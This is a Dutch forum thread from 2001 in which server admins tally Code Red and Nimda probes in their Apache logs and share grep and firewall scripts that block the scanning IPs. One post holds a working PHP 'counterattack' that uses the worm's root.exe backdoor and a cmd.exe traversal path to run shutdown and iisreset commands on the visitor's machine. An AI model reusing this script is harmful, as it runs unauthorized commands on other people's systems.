Op donderdag 20 september 2001 16:21 schreef BigB het volgende:
[root@server httpd]# cat access_log | grep -i cmd | cut -f1 -d- | uniq | wc -l
24074

toch meer dan de helft zijn unique

Nee hoor, dat valt nogal mee.
Doe maar eens 'cat access_log | grep -i cmd | cut -f1 -d- | sort | uniq | wc -l'

[wzzrd]

Ik geloof niet dat élke keer dat iemand probeert cmd.exe aan te roepen op je server je te maken hebt met een virus. Het gebeurt op mijn FreeBSD bak al máánden (maar het lukt niet ). Gedeeltelijk zijn het gewoon hack pogingen waarin iemand automatisch of handmatig probeert in je servert in te breken. Eikels.

[Verwijderd]

Op dinsdag 18 september 2001 17:55 schreef Flat© het volgende:

/me start PuTTY



cat access_log | grep cmd.exe | wc -l

164

Useless use of Cat
grep cmd.exe /access.log | wc -l
6032
grep root.exe /access.log | wc -l
1113

[Verwijderd]

ik heb een script gebakken.
1.Het kijkt wie cmd.exe heeft geprobeert te benaderen.
2.Het zoekt de bijbehorende naam op.
3.Het tovert die gegevens dan op je scherm.

for i in `grep cmd.exe /var/log/httpd/access_log | cut -d" " -f1 | sort -u`; do host $i | grep pointer | cut -d" " -f5 | sort -d; done | sort

de ip's die geen naam hebben laat 'ie niet zien.
dit script is om te bouwen naar een script wat b.v. je firewall aanstuurt.

[flat]

Op vrijdag 21 september 2001 12:51 schreef mich31 het volgende:
Useless use of Cat
grep cmd.exe /access.log | wc -l
6032
grep root.exe /access.log | wc -l
1113

als 't nog korter moet:

code:

grep -c cmd.exe access_log

draai jij trouwens windows op je server ofzo, omdat het access.log heet bij jou?
(of een vergissing gemaakt, is niet erg vroeg 't me gewoon af. en over windows op een server, ik bedoel er verder niets mee hoor, maar aangezien files daar vaak een extensie van 3 chars hebben...)

[LuCarD]

Op donderdag 20 september 2001 18:33 schreef slierp het volgende:
Voordat aan dat scriptje wordt gewerkt: hadden jullie deze al gezien?

Je bedoelt deze?

PHP:

<?
echo "<h2>Shutting down of IIS/WIN2K systems infected with CODE RED</h2><br /><br />this is yet another proof that the windows os sucks ass, so install linux!<br /><br />if your system is not infected this page will do no harm to your system.<br /><br />This script also notify's the owner his pc has been infected before it reboots.";   
 if (getenv(HTTP_X_FORWARDED_FOR))
 { 
    $ip = getenv(HTTP_X_FORWARDED_FOR); 
       } else {   
        $ip = getenv(REMOTE_ADDR);    }
@file('http://'.$ip.'/scripts/root.exe?%2Fc+net+send+%25computername%25+This+machine+has+the+CODE+RED+II+worm%2C+please+shut+down+immediately+and+then+take+appropriate+measures%21%20See%20http%3A%2F%2Fvil.mcafee.com%2FdispVirus.asp%3Fvirus_k%3D99177%26');
@file('http://'.$ip.'/scripts/root.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5');
@file('http://'.$ip.'/scripts/root.exe?/c+iisreset+/stop') ;
@file('http://'.$ip.'/scripts/root.exe?/c+iisreset') ;
@file('http://'.$ip.'/scripts/../../winnt/system32/cmd.exe/c+iisreset+/stop');
@file('http://'.$ip.'/scripts/../../winnt/system32/cmd.exe/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5');
?>

of bedoel je deze ?

code:

#!/bin/sh
ipchains -F input
ipchains-restore < /www/log/default.rule
for i in `cat /www/log/access_log* | grep scripts | grep -v 192.168.1 | cut -d" " -f1 | sort -u`
do
  ipchains -I input  -s $i --destination-port 80 -p tcp -l -j DENY
done

[Vaagharses]

Mijn grote vraag: werkt dat script wel

Als ik op een geïnfecteerde bak http://IP/scripts/root.exe doe krijg ik mooi een antwoord: file not found

[Verwijderd]

4108

[Verwijderd]

Op vrijdag 21 september 2001 23:21 schreef Vaagharses het volgende:
Mijn grote vraag: werkt dat script wel

Als ik op een geïnfecteerde bak http://IP/scripts/root.exe doe krijg ik mooi een antwoord: file not found

Let op de permissies van het bestandje en haar bovenliggende directories!
Verder zul je in een .htaccess aan moeten geven dat hij door de php-parser gehaald wordt.

Ten slotte moet je .htaccess ook nog een werken voor die dir (dus niet iets van een "allowOveride none" hebben staan ).

[Vaagharses]

Mijn scriptje doet het keurig:

http://www.arnoldusnet.dhs.org/scripts/root.exe

Maar mijn vraag was meer, doet dit script wat het moet doen de andere kant plat gooien

[MikeN]

HMM, is ff in m'n logje gekeken, wist niet dat ik zoveel aanvragen had

Keb er duizenden gehad de afgelopen 2 dagen....
Dat terwijl er geen website op draait....

Allemaal /script en cmd.exe enzo....

[Verwijderd]

Op zaterdag 22 september 2001 00:03 schreef Vaagharses het volgende:
Mijn scriptje doet het keurig:

http://www.arnoldusnet.dhs.org/scripts/root.exe

Maar mijn vraag was meer, doet dit script wat het moet doen de andere kant plat gooien

Ik weet niet of je nu gewoon nog een keer extra de source-code uitspuugt.
Maar het is dus wel de bedoeling dat het ding door de php-parser heen gaat he (dus niet plain html).
En reken maar dat het ding dan plat zal gaan als hij geinfecteerd is.

[Vaagharses]

Dit is gegenereerd door PHP 4 aan de hand van deze source:

http://www.arnoldusnet.dhs.org/root.source

Maar waarom ik me afvroeg of dit werkte: ik had een attack om 22:58 en om 23:00 kon ik het IP gewoon pingen beetje vaag dus. Of natuurlijk al gereboot.

[Verwijderd]

Heel irritant ja, ik heb ook nogal veel hits en daar ben ik dus echt niet blij mij. Ik word echt ziek van microsoft!

[Verwijderd]

Op zaterdag 22 september 2001 01:34 schreef 4of10 het volgende:
Heel irritant ja, ik heb ook nogal veel hits en daar ben ik dus echt niet blij mij. Ik word echt ziek van microsoft!

Wordt liever ziek van de beheerderders van de geinfecteerde servers, MS heeft patches uitgebracht en het is de verantwoordelijkheid van de beheerders van de gecopieerde stoere Database Advanced win2k server om die up te daten maarja, als je dom bent en niet weet wat IIS is en dus ook niet weet dat die draait (je bent namelijk win9x n00b en hebt niet meer verstand van win2kADS dan dat het een desktop heeft), dan kun je ook niet updaten en daar komen al die geinfecteerde machines vandaan....

[Verwijderd]

ik probeer een scriptje te maken wat automagisch hosts die mij scannen (nimda) te blokkeren.

Ik heb nu dit:

code:

#!/bin/sh

cd /var/log/httpd/

for i in 'cat access_log | grep scripts | cut -d" " -f1 | sort -u';
do iptables -I INPUT -s $i -j DROP;
done

alleen dan werkt niet want dan krijg ik de volgende foutmelding:

code:

Bad argument `access_log'
Try `iptables -h' or 'iptables --help' for more information.

Ik heb totaal geen verstand van scripting en heb dit op basis van het scriptje van Wizard_of_OS in elkaar gezet. Misschien dat iemand zou kunnen kijken of dit werkende te krijgen is.

code:

'cat access_log | grep scripts | cut -d" " -f1 | sort -u

geeft overigens wel een mooie lijst met IP adressen....

Alvast bedankt.

[Verwijderd]

' en ` zijn niet het zelfde....

[moto-moi]

Op zaterdag 22 september 2001 11:50 schreef BlackHawk het volgende:
ik probeer een scriptje te maken wat automagisch hosts die mij scannen (nimda) te blokkeren.

code:

'cat access_log | grep scripts | cut -d" " -f1 | sort -u

Geeft overigens wel een mooie lijst met IP adressen....

Path misschien meegeven ,
dus

code:

cat /var/log/apache/access_log | grep scripts | cut -d" " -f1 | sort -u

[flat]

hee, bij mij lijkt 't minder te worden
nog maar z'n 2 aanvallen per uur

[alt-92]

Ik had bij de tweede week CRII al besloten om alle verkeer van 24.132.x.x te blocken.

Resultaat: slechts 41 nimda-hits. Beetje Cru maar ja

[Steven]

Als ik het met Win2k + Apache wil maken zo'n script zal ik zeker moeten gaan regexen&Co?

[StarLite]

Op zondag 23 september 2001 13:02 schreef BackSlash32 het volgende:
Ik had bij de tweede week CRII al besloten om alle verkeer van 24.132.x.x te blocken.

Resultaat: slechts 41 nimda-hits. Beetje Cru maar ja

24.132 » klinkt als sjello

tracert 24.132.1.1 » yup, sjello/upc

[Verwijderd]

Ik heb het antwoord op mijn vraag uit deze thread gevist.

[topic=232369/1/25]

[zwahiel]

Ik heb 'm dus ook!

Wat er tegen doen, gewoon het scripje bakken?
Ik heb een Linux server, maar zo thuis ben ik nou ook weer niet in Linux, aldoende leert men toch....?

[Verwijderd]

Op woensdag 26 september 2001 13:45 schreef zwahiel het volgende:
Ik heb 'm dus ook!

Wat er tegen doen, gewoon het scripje bakken?
Ik heb een Linux server, maar zo thuis ben ik nou ook weer niet in Linux, aldoende leert men toch....?

huh

Linux is niet infecteerbaar door deze worm, we worden alleen aangevallen door domme IIS servers die in het kader van "alles is MS" denken dat wij ook IIS draaien

En al doende schrijven wij een scriptje die de systeembeheerders van deze IIS machientjes er op de een of andere manier (reboot, e-mailtje) op atent maakt dat hij een worm heeft.

Maar linux of apache heeft nergens last van

[wzzrd]

root.exe 607
cmd.exe 4205

Gullukug is FreeBSD ingeënt tegen kinderziektes

[Verwijderd]

cmd.exe 18483x
root.exe 3772

damn